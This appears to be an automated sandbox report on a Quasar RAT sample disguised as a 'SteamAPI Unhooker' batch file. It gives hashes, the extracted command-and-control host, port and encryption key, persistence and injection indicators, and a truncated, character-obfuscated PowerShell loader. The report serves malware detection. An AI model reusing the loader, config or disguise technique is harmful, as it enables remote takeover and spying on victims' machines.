quasar | 3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

Analysis

max time kernel
300s
max time network
256s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
28-05-2024 13:52

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General

Target

SteamAPI Unhooker.bat
Size

1002KB
MD5

f6d5bfaee8a55ff72c7b453fda066d62
SHA1

7d737d53013990e5d05076b7206e43eb4793fc7f
SHA256

3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512

e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
SSDEEP

12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Score

10^/10

quasar video execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes

encryption_key
zK8u0rpHf4TJzGf65Flt
install_name
Win11.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Windows 11 Boot
subdirectory
Win11

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4628-34-0x0000000009B20000-0x0000000009C12000-memory.dmp	family_quasar
behavioral1/memory/4616-204-0x000000000AC60000-0x000000000ACCC000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\New.exe	family_quasar
behavioral1/memory/4264-222-0x0000000000520000-0x000000000058C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4072 created 580 4072 powershell.EXE winlogon.exe
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

4 4616 powershell.exe
6 4616 powershell.exe
23 4616 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4628 powershell.exe
4884 powershell.exe
4616 powershell.exe

description	pid	process	target process
PID 4072 created 580	4072	powershell.EXE	winlogon.exe

flow	pid	process
4	4616	powershell.exe
6	4616	powershell.exe
23	4616	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 2 IoCs

Processes:

New.exeInstall.exe

pid process

4264 New.exe
4444 Install.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

pid	process
4264	New.exe
4444	Install.exe

flow	ioc
1	ip-api.com

Drops file in System32 directory 15 IoCs

Processes:

svchost.exepowershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4072 set thread context of 1056 4072 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 4072 set thread context of 1056	4072	powershell.EXE	dllhost.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

4528 SCHTASKS.exe

pid	process
4528	SCHTASKS.exe

Modifies data under HKEY_USERS 57 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 28 May 2024 13:54:19 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={68B30AEA-E7BA-4E60-8A91-D01B9BF16C6E}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1716904458"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings powershell.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3440 PING.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings	powershell.exe

pid	process
3440	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exe

pid	process
4628	powershell.exe
4628	powershell.exe
4628	powershell.exe
4884	powershell.exe
4884	powershell.exe
4884	powershell.exe
4616	powershell.exe
4616	powershell.exe
4616	powershell.exe
4072	powershell.EXE
4072	powershell.EXE
4072	powershell.EXE
4072	powershell.EXE
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
4616	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeIncreaseQuotaPrivilege	4884	powershell.exe
Token: SeSecurityPrivilege	4884	powershell.exe
Token: SeTakeOwnershipPrivilege	4884	powershell.exe
Token: SeLoadDriverPrivilege	4884	powershell.exe
Token: SeSystemProfilePrivilege	4884	powershell.exe
Token: SeSystemtimePrivilege	4884	powershell.exe
Token: SeProfSingleProcessPrivilege	4884	powershell.exe
Token: SeIncBasePriorityPrivilege	4884	powershell.exe
Token: SeCreatePagefilePrivilege	4884	powershell.exe
Token: SeBackupPrivilege	4884	powershell.exe
Token: SeRestorePrivilege	4884	powershell.exe
Token: SeShutdownPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeSystemEnvironmentPrivilege	4884	powershell.exe
Token: SeRemoteShutdownPrivilege	4884	powershell.exe
Token: SeUndockPrivilege	4884	powershell.exe
Token: SeManageVolumePrivilege	4884	powershell.exe
Token: 33	4884	powershell.exe
Token: 34	4884	powershell.exe
Token: 35	4884	powershell.exe
Token: 36	4884	powershell.exe
Token: SeIncreaseQuotaPrivilege	4884	powershell.exe
Token: SeSecurityPrivilege	4884	powershell.exe
Token: SeTakeOwnershipPrivilege	4884	powershell.exe
Token: SeLoadDriverPrivilege	4884	powershell.exe
Token: SeSystemProfilePrivilege	4884	powershell.exe
Token: SeSystemtimePrivilege	4884	powershell.exe
Token: SeProfSingleProcessPrivilege	4884	powershell.exe
Token: SeIncBasePriorityPrivilege	4884	powershell.exe
Token: SeCreatePagefilePrivilege	4884	powershell.exe
Token: SeBackupPrivilege	4884	powershell.exe
Token: SeRestorePrivilege	4884	powershell.exe
Token: SeShutdownPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeSystemEnvironmentPrivilege	4884	powershell.exe
Token: SeRemoteShutdownPrivilege	4884	powershell.exe
Token: SeUndockPrivilege	4884	powershell.exe
Token: SeManageVolumePrivilege	4884	powershell.exe
Token: 33	4884	powershell.exe
Token: 34	4884	powershell.exe
Token: 35	4884	powershell.exe
Token: 36	4884	powershell.exe
Token: SeIncreaseQuotaPrivilege	4884	powershell.exe
Token: SeSecurityPrivilege	4884	powershell.exe
Token: SeTakeOwnershipPrivilege	4884	powershell.exe
Token: SeLoadDriverPrivilege	4884	powershell.exe
Token: SeSystemProfilePrivilege	4884	powershell.exe
Token: SeSystemtimePrivilege	4884	powershell.exe
Token: SeProfSingleProcessPrivilege	4884	powershell.exe
Token: SeIncBasePriorityPrivilege	4884	powershell.exe
Token: SeCreatePagefilePrivilege	4884	powershell.exe
Token: SeBackupPrivilege	4884	powershell.exe
Token: SeRestorePrivilege	4884	powershell.exe
Token: SeShutdownPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeSystemEnvironmentPrivilege	4884	powershell.exe
Token: SeRemoteShutdownPrivilege	4884	powershell.exe
Token: SeUndockPrivilege	4884	powershell.exe
Token: SeManageVolumePrivilege	4884	powershell.exe
Token: 33	4884	powershell.exe
Token: 34	4884	powershell.exe
Token: 35	4884	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

4616 powershell.exe

pid	process
4616	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exeNew.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 4904 wrote to memory of 4628	4904	cmd.exe	powershell.exe
PID 4904 wrote to memory of 4628	4904	cmd.exe	powershell.exe
PID 4904 wrote to memory of 4628	4904	cmd.exe	powershell.exe
PID 4628 wrote to memory of 4884	4628	powershell.exe	powershell.exe
PID 4628 wrote to memory of 4884	4628	powershell.exe	powershell.exe
PID 4628 wrote to memory of 4884	4628	powershell.exe	powershell.exe
PID 4628 wrote to memory of 4564	4628	powershell.exe	WScript.exe
PID 4628 wrote to memory of 4564	4628	powershell.exe	WScript.exe
PID 4628 wrote to memory of 4564	4628	powershell.exe	WScript.exe
PID 4564 wrote to memory of 3780	4564	WScript.exe	cmd.exe
PID 4564 wrote to memory of 3780	4564	WScript.exe	cmd.exe
PID 4564 wrote to memory of 3780	4564	WScript.exe	cmd.exe
PID 3780 wrote to memory of 4616	3780	cmd.exe	powershell.exe
PID 3780 wrote to memory of 4616	3780	cmd.exe	powershell.exe
PID 3780 wrote to memory of 4616	3780	cmd.exe	powershell.exe
PID 4616 wrote to memory of 4264	4616	powershell.exe	New.exe
PID 4616 wrote to memory of 4264	4616	powershell.exe	New.exe
PID 4616 wrote to memory of 4264	4616	powershell.exe	New.exe
PID 4616 wrote to memory of 4444	4616	powershell.exe	Install.exe
PID 4616 wrote to memory of 4444	4616	powershell.exe	Install.exe
PID 4616 wrote to memory of 4444	4616	powershell.exe	Install.exe
PID 4264 wrote to memory of 4528	4264	New.exe	SCHTASKS.exe
PID 4264 wrote to memory of 4528	4264	New.exe	SCHTASKS.exe
PID 4264 wrote to memory of 4528	4264	New.exe	SCHTASKS.exe
PID 4072 wrote to memory of 1056	4072	powershell.EXE	dllhost.exe
PID 4072 wrote to memory of 1056	4072	powershell.EXE	dllhost.exe
PID 4072 wrote to memory of 1056	4072	powershell.EXE	dllhost.exe
PID 4072 wrote to memory of 1056	4072	powershell.EXE	dllhost.exe
PID 4072 wrote to memory of 1056	4072	powershell.EXE	dllhost.exe
PID 4072 wrote to memory of 1056	4072	powershell.EXE	dllhost.exe
PID 4072 wrote to memory of 1056	4072	powershell.EXE	dllhost.exe
PID 4072 wrote to memory of 1056	4072	powershell.EXE	dllhost.exe
PID 1056 wrote to memory of 580	1056	dllhost.exe	winlogon.exe
PID 1056 wrote to memory of 636	1056	dllhost.exe	lsass.exe
PID 1056 wrote to memory of 744	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 908	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1008	1056	dllhost.exe	dwm.exe
PID 1056 wrote to memory of 304	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 488	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 692	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1068	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1088	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1132	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1140	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1208	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1292	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1324	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1388	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1396	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1496	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1548	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1556	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1604	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1620	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1732	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1796	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1836	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1900	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1992	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 1308	1056	dllhost.exe	spoolsv.exe
PID 1056 wrote to memory of 2080	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 2256	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 2272	1056	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 2288	1056	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:580
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1008
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{05d7a111-fc70-4e5f-bc1d-5268db5a4670}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1056

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:636

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:744

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:908

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:304

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:488

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:692

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
- Drops file in System32 directory
PID:1068

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1088
- c:\windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:GltjFXMlvWca{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$oQWvtwOPduIOuT,[Parameter(Position=1)][Type]$aKAsteImeH)$NyuJkJekwgb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+'le'+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+'e'+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','Cl'+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+'An'+[Char](115)+'iC'+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+'A'+[Char](117)+''+[Char](116)+'oCl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$NyuJkJekwgb.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+'N'+'a'+[Char](109)+''+'e'+',H'+'i'+''+'d'+''+'e'+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$oQWvtwOPduIOuT).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$NyuJkJekwgb.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+''+'e'+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](9